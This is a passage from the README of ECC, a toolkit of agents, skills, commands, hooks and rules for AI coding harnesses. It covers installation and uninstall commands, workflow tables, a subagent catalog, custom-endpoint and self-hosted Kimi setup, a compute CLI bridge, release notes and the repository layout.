\n <p><code>multi-*</code> commands are <strong>not</strong> covered by the base plugin/rules install.</p> \n <p>To use <code>/multi-plan</code>, <code>/multi-execute</code>, <code>/multi-backend</code>, <code>/multi-frontend</code>, and <code>/multi-workflow</code>, you must also install the <code>ccg-workflow</code> runtime. Choose and review an exact release using the <a href=\"https://github.com/fengshao1227/ccg-workflow#readme\">upstream CCG installation guide</a>, then initialize that installed runtime. ECC does not bundle CCG or attest to a compatible, audited CCG release; this guide does not bootstrap an unspecified registry version.</p> \n <p>That runtime provides the external dependencies these commands expect, including:</p> \n <ul> \n  <li><code>~/.claude/bin/codeagent-wrapper</code></li> \n  <li><code>~/.claude/.ccg/prompts/*</code></li> \n </ul> \n <p>Without <code>ccg-workflow</code>, these <code>multi-*</code> commands will not run correctly.</p> \n</details> \n<details> \n <strong>Astra review requires the Codex CLI</strong> \n <p><code>/astra-review</code> sends Claude-written code to GPT-6-Astra for an independent cross-provider review. It runs the locally installed <a href=\"https://github.com/openai/codex\">Codex CLI</a> with your ChatGPT login (<code>codex login</code>); no OpenAI API key is needed, and API keys in your environment are not forwarded. Invoking the command is your consent to send that diff to OpenAI. Setup, scopes, push gating, and troubleshooting are in the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ASTRA-REVIEW-GUIDE.md\">Astra Review Guide</a>.</p> \n</details> \n<details> \n <strong>Reset, repair, or uninstall</strong> \n <h3>Reset / Uninstall ECC</h3> \n <p>If you installed from the universal package, run these commands from the same project directory used for installation:</p> \n <pre><code class=\"language-bash\">npx ecc-universal@2.2.3 list-installed\nnpx ecc-universal@2.2.3 doctor\nnpx ecc-universal@2.2.3 repair\nnpx ecc-universal@2.2.3 uninstall --dry-run\nnpx ecc-universal@2.2.3 uninstall\n</code></pre> \n <p>From a source checkout, inspect the managed state before reinstalling:</p> \n <pre><code class=\"language-bash\">node scripts/ecc.js list-installed\nnode scripts/ecc.js doctor\nnode scripts/ecc.js repair\nnode scripts/ecc.js uninstall --dry-run\n</code></pre> \n <p>For a direct source-checkout uninstall:</p> \n <pre><code class=\"language-bash\">node scripts/uninstall.js --dry-run\nnode scripts/uninstall.js\n</code></pre> \n <p>If you are leaving, the uninstall command prints an optional <a href=\"https://github.com/affaan-m/ECC/issues/new?template=quick-feedback.yml\">20-second feedback form</a>. It is a public GitHub issue, never blocks uninstall, and ECC does not upload diagnostics. You can also run <code>ecc feedback</code> at any time to see the problem, feedback, and feature routes.</p> \n <p>Plugin users should remove the plugin from Claude Code, then delete only the rule folders they manually copied and no longer want. ECC only removes files recorded in its install-state. It does not claim unrelated files in your harness directories.</p> \n <p>If you stacked methods, clean up in this order:</p> \n <ol> \n  <li>Remove the Claude Code plugin install.</li> \n  <li>Run the ECC uninstall command from the project directory that contains the managed install-state.</li> \n  <li>Delete any extra rule folders you copied manually and no longer want.</li> \n  <li>Reinstall once, using a single path.</li> \n </ol> \n</details> \n<h2>Start Using ECC</h2> \n<p>Start with the workflow you need, not the full catalog.</p> \n<table> \n <thead> \n  <tr> \n   <th>What you are doing</th> \n   <th>Start here</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Building a feature</td> \n   <td><code>/ecc:plan \"describe the feature\"</code>, then <code>tdd-workflow</code></td> \n  </tr> \n  <tr> \n   <td>Fixing a bug</td> \n   <td>Reproduce it with a failing test, then use <code>tdd-workflow</code></td> \n  </tr> \n  <tr> \n   <td>Reviewing new code</td> \n   <td><code>/code-review</code> for a fresh-context review</td> \n  </tr> \n  <tr> \n   <td>Repairing a build</td> \n   <td><code>/build-fix</code></td> \n  </tr> \n  <tr> \n   <td>Cleaning a codebase</td> \n   <td><code>/refactor-clean</code></td> \n  </tr> \n  <tr> \n   <td>Checking context pressure</td> \n   <td><code>/context-budget</code></td> \n  </tr> \n  <tr> \n   <td>Ending a long session</td> \n   <td><code>/save-session</code> or <code>/learn-eval</code></td> \n  </tr> \n  <tr> \n   <td>Resuming later</td> \n   <td><code>/resume-session</code></td> \n  </tr> \n  <tr> \n   <td>Auditing agent config</td> \n   <td><code>/security-scan</code> with a reviewed scanner, or installed <code>agentshield scan --path .</code></td> \n  </tr> \n </tbody> \n</table> \n<details> \n <strong>Plugin commands and manual commands</strong> \n <p>Claude Code plugin commands use the namespaced form:</p> \n <pre><code class=\"language-text\">/ecc:plan \"Add authentication\"\n</code></pre> \n <p>Manual installs may expose the shorter compatibility form:</p> \n <pre><code class=\"language-text\">/plan \"Add authentication\"\n</code></pre> \n <p>Skills are the primary workflow surface. Commands remain convenient entry points and compatibility shims. Check what is installed with:</p> \n <pre><code class=\"language-bash\">/plugin list ecc@ecc\n</code></pre> \n</details> \n<details> \n <strong>Which agent should I use?</strong> \n <p>Skills are the canonical workflow surface; maintained slash entries stay available for command-first workflows.</p> \n <table> \n  <thead> \n   <tr> \n    <th>I want to...</th> \n    <th>Use this surface</th> \n    <th>Agent used</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td>Plan a new feature</td> \n    <td><code>/ecc:plan \"Add auth\"</code></td> \n    <td>planner</td> \n   </tr> \n   <tr> \n    <td>Design system architecture</td> \n    <td><code>/ecc:plan</code> + architect agent</td> \n    <td>architect</td> \n   </tr> \n   <tr> \n    <td>Write code with tests first</td> \n    <td><code>tdd-workflow</code> skill</td> \n    <td>tdd-guide</td> \n   </tr> \n   <tr> \n    <td>Review code I just wrote</td> \n    <td><code>/code-review</code></td> \n    <td>code-reviewer</td> \n   </tr> \n   <tr> \n    <td>Fix a failing build</td> \n    <td><code>/build-fix</code></td> \n    <td>build-error-resolver</td> \n   </tr> \n   <tr> \n    <td>Run end-to-end tests</td> \n    <td><code>e2e-testing</code> skill</td> \n    <td>e2e-runner</td> \n   </tr> \n   <tr> \n    <td>Find security vulnerabilities</td> \n    <td><code>/security-scan</code></td> \n    <td>security-reviewer</td> \n   </tr> \n   <tr> \n    <td>Remove dead code</td> \n    <td><code>/refactor-clean</code></td> \n    <td>refactor-cleaner</td> \n   </tr> \n   <tr> \n    <td>Update documentation</td> \n    <td><code>/update-docs</code></td> \n    <td>doc-updater</td> \n   </tr> \n   <tr> \n    <td>Review Go code</td> \n    <td><code>/go-review</code></td> \n    <td>go-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review Python code</td> \n    <td><code>/python-review</code></td> \n    <td>python-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review F# code</td> \n    <td><em>(invoke <code>fsharp-reviewer</code> directly)</em></td> \n    <td>fsharp-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review TypeScript/JavaScript code</td> \n    <td><em>(invoke <code>typescript-reviewer</code> directly)</em></td> \n    <td>typescript-reviewer</td> \n   </tr> \n   <tr> \n    <td>Develop HarmonyOS apps</td> \n    <td><em>(invoke <code>harmonyos-app-resolver</code> directly)</em></td> \n    <td>harmonyos-app-resolver</td> \n   </tr> \n   <tr> \n    <td>Audit database queries</td> \n    <td><em>(auto-delegated)</em></td> \n    <td>database-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review production ML changes</td> \n    <td><code>mle-workflow</code> skill + <code>mle-reviewer</code> agent</td> \n    <td>mle-reviewer</td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<details> \n <strong>Common workflows</strong> \n <p>Slash forms below are shown where they remain part of the maintained command surface. Retired short-name shims such as <code>/tdd</code> and <code>/eval</code> live in <code>legacy-command-shims/</code> for explicit opt-in only.</p> \n <p><strong>Starting a new feature:</strong></p> \n <pre><code>/ecc:plan \"Add user authentication with OAuth\"\n                                              -&gt; planner creates implementation blueprint\ntdd-workflow skill                            -&gt; tdd-guide enforces write-tests-first\n/code-review                                  -&gt; code-reviewer checks your work\n</code></pre> \n <p><strong>Fixing a bug:</strong></p> \n <pre><code>tdd-workflow skill                            -&gt; tdd-guide: write a failing test that reproduces it\n                                              -&gt; implement the fix, verify test passes\n/code-review                                  -&gt; code-reviewer: catch regressions\n</code></pre> \n <p><strong>Preparing for production:</strong></p> \n <pre><code>/security-scan                                -&gt; security-reviewer: OWASP Top 10 audit\ne2e-testing skill                             -&gt; e2e-runner: critical user flow tests\n/test-coverage                                -&gt; verify 80%+ coverage\n</code></pre> \n</details> \n<h2>Self-Hosted Models and Custom Endpoints</h2> \n<p>ECC works through each harness's normal configuration, so you can use an official provider, a compatible custom API endpoint or model gateway, or a self-hosted model without changing ECC's workflows.</p> \n<p>For Claude Code, ECC does not hardcode Anthropic-hosted transport settings. Minimal gateway example:</p> \n<pre><code class=\"language-bash\">export ANTHROPIC_BASE_URL=https://your-gateway.example.com\nexport ANTHROPIC_AUTH_TOKEN=your-token\nclaude\n</code></pre> \n<p>If your gateway remaps model names, configure that in Claude Code rather than in ECC. ECC's hooks, skills, commands, and rules are model-provider agnostic once the <code>claude</code> CLI is already working. See Anthropic's <a href=\"https://docs.anthropic.com/en/docs/claude-code/llm-gateway\">LLM gateway documentation</a> and <a href=\"https://docs.anthropic.com/en/docs/claude-code/model-config\">model configuration documentation</a>.</p> \n<p>Run or self-host any open-source model behind that gateway using separate compute and serving setup. If you need GPU capacity, <a href=\"https://compute.itomarkets.com\">It\u00f4</a> is ECC's preferred compute sponsor; any GPU provider works. The sponsorship link is passive: it does not invoke an RFQ, reserve capacity, provision compute, or configure serving. Separately, <code>ecc ito find</code> invokes the explicitly configured canonical It\u00f4 CLI and submits a live authenticated RFQ; it does not reserve capacity. Managed inference through It\u00f4 is not live yet.</p> \n<h3>Self-host Kimi with ECC + It\u00f4 compute</h3> \n<p>The Kimi Code harness and the model-serving layer are separate. ECC configures the agent harness; you bring an API endpoint (<a href=\"https://platform.kimi.ai?aff=ecc\">get a Kimi API key</a>) or self-host an open-weight Kimi model on your own GPU capacity. This adapter is verified against Kimi Code 0.31.x (<code>@moonshot-ai/kimi-code</code>):</p> \n<table width=\"100%\"> \n <tbody>\n  <tr> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://compute.itomarkets.com\"> \n     \n      <source media=\"(prefers-color-scheme: light)\" />\n      <img alt=\"It\u00f4 Markets\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/ito-transparent.png\" width=\"92\" />\n     <br /> <strong>1. Get GPU capacity</strong> </a><br /> <sub>Use It\u00f4 or any GPU provider.</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://www.moonshot.ai\"> \n     \n      <source media=\"(prefers-color-scheme: dark)\" />\n      <img alt=\"Moonshot AI - Kimi\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/moonshot.png\" width=\"126\" />\n     <br /> <strong>2. Serve Kimi</strong> </a><br /> <sub>Expose the chosen checkpoint through a compatible endpoint.</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/.kimi/README.md\"> <img alt=\"ECC Tools\" height=\"52\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/ecc-tools-mark.svg?sanitize=true\" /><br /> <strong>3. Run Kimi Code with ECC</strong> </a><br /> <sub>Install project instructions and skills, then start Kimi Code.</sub> </td> \n  </tr> \n </tbody>\n</table> \n<p>Configure the endpoint with Kimi Code's <a href=\"https://moonshotai.github.io/kimi-cli/en/configuration/providers.html\">official provider guide</a>, then install ECC:</p> \n<pre><code class=\"language-bash\">bash ./install.sh --target kimi --profile minimal\nnode scripts/ecc.js doctor --target kimi\nkimi\n</code></pre> \n<p>Kimi Code discovers the installed <code>.kimi-code/AGENTS.md</code> instructions and <code>.kimi-code/skills/</code> workflows natively; project-level <code>.agents/skills/</code> is also an official discovery location. ECC safely merges project MCP entries into <code>.kimi-code/mcp.json</code> and does not change the user-level <code>~/.kimi-code/config.toml</code>. Kimi Code supports native hooks, but ECC's current managed-project adapter does not configure them, so this installer does not offer Kimi hook profiles. The installer dry-run and regression suite verify that every managed Kimi write stays inside the project-local <code>.kimi-code/</code> root.</p> \n<h3>It\u00f4 compute CLI bridge</h3> \n<p><code>ecc ito</code> delegates to the separately installed canonical It\u00f4 client; ECC does not maintain a second API client. <code>ecc ito login [--no-browser]</code> performs device authorization, opens the It\u00f4 verification page by default, and persists a device token in macOS Keychain; <code>--no-browser</code> suppresses the page handoff. ECC itself does no browser automation. <code>ecc ito auth</code> is validation-only and rejects <code>--no-browser</code>. The available operations are <code>ecc ito login</code>, <code>ecc ito auth</code>, <code>ecc ito find</code>, <code>ecc ito status</code>, and the separately gated <code>ecc ito evals</code>. The matching MCP tools remain <code>ito_auth</code>, <code>ito_find</code>, and <code>ito_status</code>; <code>ito_auth</code> validates existing credentials and node qualification is CLI-only.</p> \n<p>The <code>ito-compute-cli</code> package is currently unpublished. Build it locally from the It\u00f4 runtime repo (private while the desk hardens; design partners get access) under <code>cli/ito-compute-cli</code>, run <code>npm ci</code> and <code>npm run check</code>, then set <code>ECC_ITO_CLI_EXECUTABLE</code> to that build's absolute <code>dist/bin/ito.js</code> path. Login never inherits <code>ITO_API_KEY</code>; auth, find, and status forward <code>ITO_API_KEY</code> directly when configured, and <code>ITO_AUTH_MODE=legacy</code> is not required. <code>ecc ito logout</code> revokes the current device credential and retains its local copy if remote revocation cannot be confirmed. Device tokens use macOS Keychain by default; explicit file fallback must retain owner-only directory/file permissions. ECC does not discover this credential-bearing client through <code>PATH</code>. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/skills/ito-compute/SKILL.md\"><code>ito-compute</code> skill</a> for the full RFQ authority and MCP setup contract.</p> \n<p><code>find</code> submits a live authenticated RFQ. It does not reserve capacity. <code>evals</code> requires both <code>ITO_ENABLE_SIXTYTWO_LIVE=1</code> and <code>--live-sixtytwo</code>, a separately installed <code>sixtytwo-cli==0.3.33</code>, an explicit node list, and an existing absolute configuration directory. It cannot rent, launch, recover, repair, or purchase. ECC exposes no quote lock, purchase, workload, or inference path, and it never replaces a missing client or failed live call with a local result.</p> \n<h2>What's New</h2> \n<p>Current release: <strong>2.2.3</strong> (2026-10-01). Highlights of the 2.2 line:</p> \n<ul> \n <li>Guided, manifest-driven setup across Claude Code, Codex, and Kimi Code, with install-state ownership, doctor, repair, and uninstall.</li> \n <li>Native Antigravity install, a thin Pi adapter, and the packed-artifact release gate tested on Linux, macOS, and Windows.</li> \n <li>Plan Canvas browser review, the unified memory vault (<code>ecc memory</code>), and the It\u00f4 compute skill family.</li> \n</ul> \n<p>Full history: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/CHANGELOG.md\">CHANGELOG.md</a>. Per-release notes and evidence live under <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/releases/\">docs/releases/</a>.</p> \n<h3>v2.0.0: The Agent Harness Operating System (Jun 2026)</h3> \n<p>Stable graduation of the 2.0 line: control-pane substrate, worktree lifecycle service, the <code>orch-*</code> orchestrator family, and the Discord community. Notes: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/releases/2.0.0/release-notes.md\">docs/releases/2.0.0/release-notes.md</a>.</p> \n<h2>What's Inside</h2> \n<pre><code class=\"language-text\">ECC/\n|-- agents/           # 71 specialized subagents for delegation\n|-- skills/           # 311 reusable workflows loaded on demand\n|-- commands/         # 97 maintained slash-command shims\n|-- rules/            # opt-in common and language standards\n|-- hooks/            # runtime automation and enforcement\n|-- scripts/          # install, repair, sync, orchestration, and checks\n|-- .claude-plugin/   # Claude Code marketplace manifest\n|-- .codex/           # Codex reference configuration and agent roles\n|-- .opencode/        # OpenCode plugin, commands, and instructions\n|-- .cursor/          # Cursor rules and hook adapter\n|-- docs/             # public setup, architecture, and operating guides\n</code></pre> \n<p>The root is the source of truth. Platform adapters package or map these same workflows instead of maintaining separate copies.</p> \n<details> \n <strong>Annotated component catalog</strong> \n <pre><code>ECC/\n|-- .claude-plugin/   # Plugin and marketplace manifests\n|   |-- plugin.json         # Plugin metadata and component paths\n|   |-- marketplace.json    # Marketplace catalog for /plugin marketplace add\n|\n|-- agents/           # 71 specialized subagents for delegation\n|   |-- planner.md           # Feature implementation planning\n|   |-- architect.md         # System design decisions\n|   |-- tdd-guide.md         # Test-driven development\n|   |-- code-reviewer.md     # Quality and security review\n|   |-- security-reviewer.md # Vulnerability analysis\n|   |-- build-error-resolver.md\n|   |-- e2e-runner.md        # Playwright E2E testing\n|   |-- refactor-cleaner.md  # Dead code cleanup\n|   |-- doc-updater.md       # Documentation sync\n|   |-- docs-lookup.md       # Documentation/API lookup\n|   |-- chief-of-staff.md    # Communication triage and drafts\n|   |-- loop-operator.md     # Autonomous loop execution\n|   |-- harness-optimizer.md # Harness config tuning\n|   |-- cpp-reviewer.md      # C++ code review\n|   |-- cpp-build-resolver.md # C++ build error resolution\n|   |-- fsharp-reviewer.md   # F# functional code review\n|   |-- go-reviewer.md       # Go code review\n|   |-- go-build-resolver.md # Go build error resolution\n|   |-- python-reviewer.md   # Python code review\n|   |-- database-reviewer.md # Database/Supabase review\n|   |-- typescript-reviewer.md # TypeScript/JavaScript code review\n|   |-- java-reviewer.md     # Java/Spring Boot code review\n|   |-- java-build-resolver.md # Java/Maven/Gradle build errors\n|   |-- kotlin-reviewer.md   # Kotlin/Android/KMP code review\n|   |-- kotlin-build-resolver.md # Kotlin/Gradle build errors\n|   |-- harmonyos-app-resolver.md # HarmonyOS/ArkTS app development\n|   |-- ruby-reviewer.md     # Ruby/Rails code review\n|   |-- rust-reviewer.md     # Rust code review\n|   |-- rust-build-resolver.md # Rust build error resolution\n|   |-- pytorch-build-resolver.md # PyTorch/CUDA training errors\n|   |-- mle-reviewer.md      # Production ML pipeline, eval, serving, and monitoring review\n|\n|-- skills/           # Workflow definitions and domain knowledge\n|   |-- coding-standards/           # Language best practices\n|   |-- clickhouse-io/              # ClickHouse analytics, queries, data engineering\n|   |-- backend-patterns/           # API, database, caching patterns\n|   |-- frontend-patterns/          # React, Next.js patterns\n|   |-- frontend-slides/            # HTML slide decks and PPTX-to-web presentation workflows\n|   |-- article-writing/            # Long-form writing in a supplied voice without generic AI tone\n|   |-- content-engine/             # Multi-platform social content and repurposing workflows\n|   |-- market-research/            # Source-attributed market, competitor, and investor research\n|   |-- osint-investigation/        # OSINT methodology: competing hypotheses, falsification, visual and evidence verification\n|   |-- investor-materials/         # Pitch decks, one-pagers, memos, and financial models\n|   |-- investor-outreach/          # Personalized fundraising outreach and follow-up\n|   |-- continuous-learning/        # Legacy v1 Stop-hook pattern extraction\n|   |-- continuous-learning-v2/     # Instinct-based learning with confidence scoring\n|   |-- iterative-retrieval/        # Progressive context refinement for subagents\n|   |-- strategic-compact/          # Manual compaction suggestions (Longform Guide)\n|   |-- tdd-workflow/               # TDD methodology\n|   |-- security-review/            # Security checklist\n|   |-- eval-harness/               # Verification loop evaluation (Longform Guide)\n|   |-- verification-loop/          # Continuous verification (Longform Guide)\n|   |-- videodb/                    # Video and audio: ingest, search, edit, generate, stream\n|   |-- golang-patterns/            # Go idioms and best practices\n|   |-- golang-testing/             # Go testing patterns, TDD, benchmarks\n|   |-- cpp-coding-standards/       # C++ coding standards from C++ Core Guidelines\n|   |-- cpp-testing/                # C++ testing with GoogleTest, CMake/CTest\n|   |-- django-patterns/            # Django patterns, models, views\n|   |-- django-security/            # Django security best practices\n|   |-- django-tdd/                 # Django TDD workflow\n|   |-- django-verification/        # Django verification loops\n|   |-- laravel-patterns/           # Laravel architecture patterns\n|   |-- laravel-security/           # Laravel security best practices\n|   |-- laravel-tdd/                # Laravel TDD workflow\n|   |-- laravel-verification/       # Laravel verification loops\n|   |-- python-patterns/            # Python idioms and best practices\n|   |-- python-testing/             # Python testing with pytest\n|   |-- quarkus-patterns/           # Java Quarkus patterns\n|   |-- quarkus-security/           # Quarkus security\n|   |-- quarkus-tdd/                # Quarkus TDD\n|   |-- quarkus-verification/       # Quarkus verification\n|   |-- rails-patterns/             # Rails architecture patterns\n|   |-- springboot-patterns/        # Java Spring Boot patterns\n|   |-- springboot-security/        # Spring Boot security\n|   |-- springboot-tdd/             # Spring Boot TDD\n|   |-- springboot-verification/    # Spring Boot verification\n|   |-- configure-ecc/              # Interactive installation wizard\n|   |-- security-scan/              # AgentShield security auditor integration\n|   |-- java-coding-standards/      # Java coding standards\n|   |-- jpa-patterns/               # JPA/Hibernate patterns\n|   |-- postgres-patterns/          # PostgreSQL optimization patterns\n|   |-- nutrient-document-processing/ # Document processing with Nutrient API\n|   |-- database-migrations/        # Migration patterns (Prisma, Drizzle, Django, Go)\n|   |-- api-design/                 # REST API design, pagination, error responses\n|   |-- deployment-patterns/        # CI/CD, Docker, health checks, rollbacks\n|   |-- docker-patterns/            # Docker Compose, networking, volumes, container security\n|   |-- e2e-testing/                # Playwright E2E patterns and Page Object Model\n|   |-- content-hash-cache-pattern/ # SHA-256 content hash caching for file processing\n|   |-- cost-aware-llm-pipeline/    # LLM cost optimization, model routing, budget tracking\n|   |-- regex-vs-llm-structured-text/ # Decision framework: regex vs LLM for text parsing\n|   |-- swift-actor-persistence/    # Thread-safe Swift data persistence with actors\n|   |-- swift-protocol-di-testing/  # Protocol-based DI for testable Swift code\n|   |-- search-first/               # Research-before-coding workflow\n|   |-- skill-stocktake/            # Audit skills and commands for quality\n|   |-- liquid-glass-design/        # iOS 26 Liquid Glass design system\n|   |-- foundation-models-on-device/ # Apple on-device LLM with FoundationModels\n|   |-- swift-concurrency-6-2/      # Swift 6.2 Approachable Concurrency\n|   |-- mle-workflow/               # Production ML data contracts, evals, deployment, monitoring\n|   |-- perl-patterns/              # Modern Perl 5.36+ idioms and best practices\n|   |-- perl-security/              # Perl security patterns, taint mode, safe I/O\n|   |-- perl-testing/               # Perl TDD with Test2::V0, prove, Devel::Cover\n|   |-- autonomous-loops/           # Autonomous loop patterns: sequential pipelines, PR loops, DAG orchestration\n|   |-- plankton-code-quality/      # Write-time code quality enforcement with Plankton hooks\n|   |-- codehealth-mcp/             # Optional CodeScene Code Health MCP skill (opt-in)\n|   |-- docs/examples/project-guidelines-template.md  # Template for project-specific skills\n|\n|-- commands/         # Maintained slash-entry compatibility; prefer skills/\n|   |-- plan.md             # /plan - Implementation planning\n|   |-- code-review.md      # /code-review - Quality review\n|   |-- build-fix.md        # /build-fix - Fix build errors\n|   |-- refactor-clean.md   # /refactor-clean - Dead code removal\n|   |-- quality-gate.md     # /quality-gate - Verification gate\n|   |-- learn.md            # /learn - Extract patterns mid-session (Longform Guide)\n|   |-- learn-eval.md       # /learn-eval - Extract, evaluate, and save patterns\n|   |-- checkpoint.md       # /checkpoint - Save verification state (Longform Guide)\n|   |-- setup-pm.md         # /setup-pm - Configure package manager\n|   |-- go-review.md        # /go-review - Go code review\n|   |-- go-test.md          # /go-test - Go TDD workflow\n|   |-- go-build.md         # /go-build - Fix Go build errors\n|   |-- skill-create.md     # /skill-create - Generate skills from git history\n|   |-- instinct-status.md  # /instinct-status - View learned instincts\n|   |-- instinct-import.md  # /instinct-import - Import instincts\n|   |-- instinct-export.md  # /instinct-export - Export instincts\n|   |-- evolve.md           # /evolve - Cluster instincts into skills\n|   |-- prune.md            # /prune - Delete expired pending instincts\n|   |-- pm2.md              # /pm2 - PM2 service lifecycle management\n|   |-- multi-plan.md       # /multi-plan - Multi-agent task decomposition\n|   |-- multi-execute.md    # /multi-execute - Orchestrated multi-agent workflows\n|   |-- multi-backend.md    # /multi-backend - Backend multi-service orchestration\n|   |-- multi-frontend.md   # /multi-frontend - Frontend multi-service orchestration\n|   |-- multi-workflow.md   # /multi-workflow - General multi-service workflows\n|   |-- sessions.md         # /sessions - Session history management\n|   |-- test-coverage.md    # /test-coverage - Test coverage analysis\n|   |-- update-docs.md      # /update-docs - Update documentation\n|   |-- update-codemaps.md  # /update-codemaps - Update codemaps\n|   |-- python-review.md    # /python-review - Python code review\n|-- legacy-command-shims/   # Opt-in archive for retired shims such as /tdd and /eval\n|   |-- tdd.md              # /tdd - Prefer the tdd-workflow skill\n|   |-- e2e.md              # /e2e - Prefer the e2e-testing skill\n|   |-- eval.md             # /eval - Prefer the eval-harness skill\n|   |-- verify.md           # /verify - Prefer the verification-loop skill\n|   |-- orchestrate.md      # /orchestrate - Prefer dmux-workflows or multi-workflow\n|\n|-- rules/            # Always-follow guidelines (copy to ~/.claude/rules/ecc/)\n|   |-- README.md            # Structure overview and installation guide\n|   |-- common/              # Language-agnostic principles\n|   |   |-- coding-style.md    # Immutability, file organization\n|   |   |-- git-workflow.md    # Commit format, PR process\n|   |   |-- testing.md         # TDD, 80% coverage requirement\n|   |   |-- performance.md     # Model selection, context management\n|   |   |-- patterns.md        # Design patterns, skeleton projects\n|   |   |-- hooks.md           # Hook architecture, TodoWrite\n|   |   |-- agents.md          # When to delegate to subagents\n|   |   |-- security.md        # Mandatory security checks\n|   |-- typescript/          # TypeScript/JavaScript specific\n|   |-- python/              # Python specific\n|   |-- golang/              # Go specific\n|   |-- swift/               # Swift specific\n|   |-- php/                 # PHP specific\n|   |-- arkts/               # HarmonyOS / ArkTS specific\n|\n|-- hooks/            # Trigger-based automations\n|   |-- README.md                 # Hook documentation, recipes, and customization guide\n|   |-- hooks.json                # All hooks config (PreToolUse, PostToolUse, Stop, etc.)\n|   |-- memory-persistence/       # Session lifecycle hooks (Longform Guide)\n|   |-- strategic-compact/        # Compaction suggestions (Longform Guide)\n|\n|-- scripts/          # Cross-platform Node.js scripts\n|   |-- lib/                     # Shared utilities\n|   |   |-- utils.js             # Cross-platform file/path/system utilities\n|   |   |-- package-manager.js   # Package manager detection and selection\n|   |-- hooks/                   # Hook implementations\n|   |   |-- session-start.js     # Load context on session start\n|   |   |-- session-end.js       # Save state on session end\n|   |   |-- pre-compact.js       # Pre-compaction state saving\n|   |   |-- suggest-compact.js   # Strategic compaction suggestions\n|   |   |-- evaluate-session.js  # Extract patterns from sessions\n|   |-- setup-package-manager.js # Interactive PM setup\n|\n|-- tests/            # Test suite\n|   |-- lib/                     # Library tests\n|   |-- hooks/                   # Hook tests\n|   |-- run-all.js               # Run all tests\n|\n|-- contexts/         # Dynamic system prompt injection contexts (Longform Guide)\n|   |-- dev.md              # Development mode context\n|   |-- review.md           # Code review mode context\n|   |-- research.md         # Research/exploration mode context\n|\n|-- examples/         # Example configurations and sessions\n|   |-- CLAUDE.md             # Example project-level config\n|   |-- user-CLAUDE.md        # Example user-level config\n|   |-- saas-nextjs-CLAUDE.md   # Real-world SaaS (Next.js + Supabase + Stripe)\n|   |-- go-microservice-CLAUDE.md # Real-world Go microservice (gRPC + PostgreSQL)\n|   |-- django-api-CLAUDE.md      # Real-world Django REST API (DRF + Celery)\n|   |-- laravel-api-CLAUDE.md     # Real-world Laravel API (PostgreSQL + Redis)\n|   |-- rust-api-CLAUDE.md        # Real-world Rust API (Axum + SQLx + PostgreSQL)\n|\n|-- mcp-configs/      # MCP server configurations\n|   |-- mcp-servers.json    # GitHub, Supabase, Vercel, Railway, etc.\n|\n|-- ecc_dashboard.py  # Desktop GUI dashboard (Tkinter)\n|\n|-- marketplace.json  # Self-hosted marketplace config (for /plugin marketplace add)\n</code></pre> \n</details> \n<details> \n <strong>Dashboard GUI</strong> \n <p>Launch the desktop dashboard to visually explore ECC components:</p> \n <pre><code class=\"language-bash\">npm run dashboard\n# or\npython3 ./ecc_dashboard.py\n</code></pre> \n <p><strong>Features:</strong></p> \n <ul> \n  <li>Tabbed interface: Agents, Skills, Commands, Rules, Settings</li> \n  <li>Dark/Light theme toggle</li> \n  <li>Font customization (family and size)</li> \n  <li>Project logo in header and taskbar</li> \n  <li>Search and filter across all components</li> \n </ul> \n</details> \n<h2>Key Concepts</h2> \n<details> \n <strong>Agents, skills, hooks, and rules explained</strong> \n <h3>Agents</h3> \n <p>Subagents handle delegated tasks with limited scope. Example:</p> \n <pre><code class=\"language-markdown\">---\nname: code-reviewer\ndescription: Reviews code for quality, security, and maintainability\ntools: Read, Grep, Glob, Bash\nmodel: opus\n---\n\nYou are a senior code reviewer...\n</code></pre> \n <h3>Skills</h3> \n <p>Skills are the primary workflow surface. They can be invoked directly, suggested automatically, and reused by agents. ECC still ships maintained <code>commands/</code> during migration, while retired short-name shims live under <code>legacy-command-shims/</code> for explicit opt-in only. New workflow development should land in <code>skills/</code> first.</p> \n <pre><code class=\"language-markdown\"># TDD Workflow\n\n1. Define interfaces first\n2. Write failing tests (RED)\n3. Implement minimal code (GREEN)\n4. Refactor (IMPROVE)\n5. Verify 80%+ coverage\n</code></pre> \n <h3>Hooks</h3> \n <p>Hooks fire on tool events. Example: warn about console.log:</p> \n <pre><code class=\"language-json\">{\n  \"matcher\": \"tool == \\\"Edit\\\" &amp;&amp; tool_input.file_path matches \\\"\\\\\\\\.(ts|tsx|js|jsx)$\\\"\",\n  \"hooks\": [{\n    \"type\": \"command\",\n    \"command\": \"#!/bin/bash\\ngrep -n 'console\\\\.log' \\\"$file_path\\\" &amp;&amp; echo '[Hook] Remove console.log' &gt;&amp;2\"\n  }]\n}\n</code></pre> \n <h3>Rules</h3> \n <p>Rules are always-follow guidelines, organized into <code>common/</code> (language-agnostic) + language-specific directories:</p> \n <pre><code>rules/\n  common/          # Universal principles (always install)\n  typescript/      # TS/JS specific patterns and tools\n  python/          # Python specific patterns and tools\n  golang/          # Go specific patterns and tools\n  swift/           # Swift specific patterns and tools\n  php/             # PHP specific patterns and tools\n  arkts/           # HarmonyOS / ArkTS patterns and constraints\n</code></pre> \n <p>See <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/rules/README.md\"><code>rules/README.md</code></a> for installation and structure details.</p> \n</details> \n<h2>Guides</h2> \n<p>This repo is the raw code. The guides explain everything.</p> \n<table width=\"100%\"> \n <tbody>\n  <tr> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-shortform-guide.md\"> <img alt=\"The 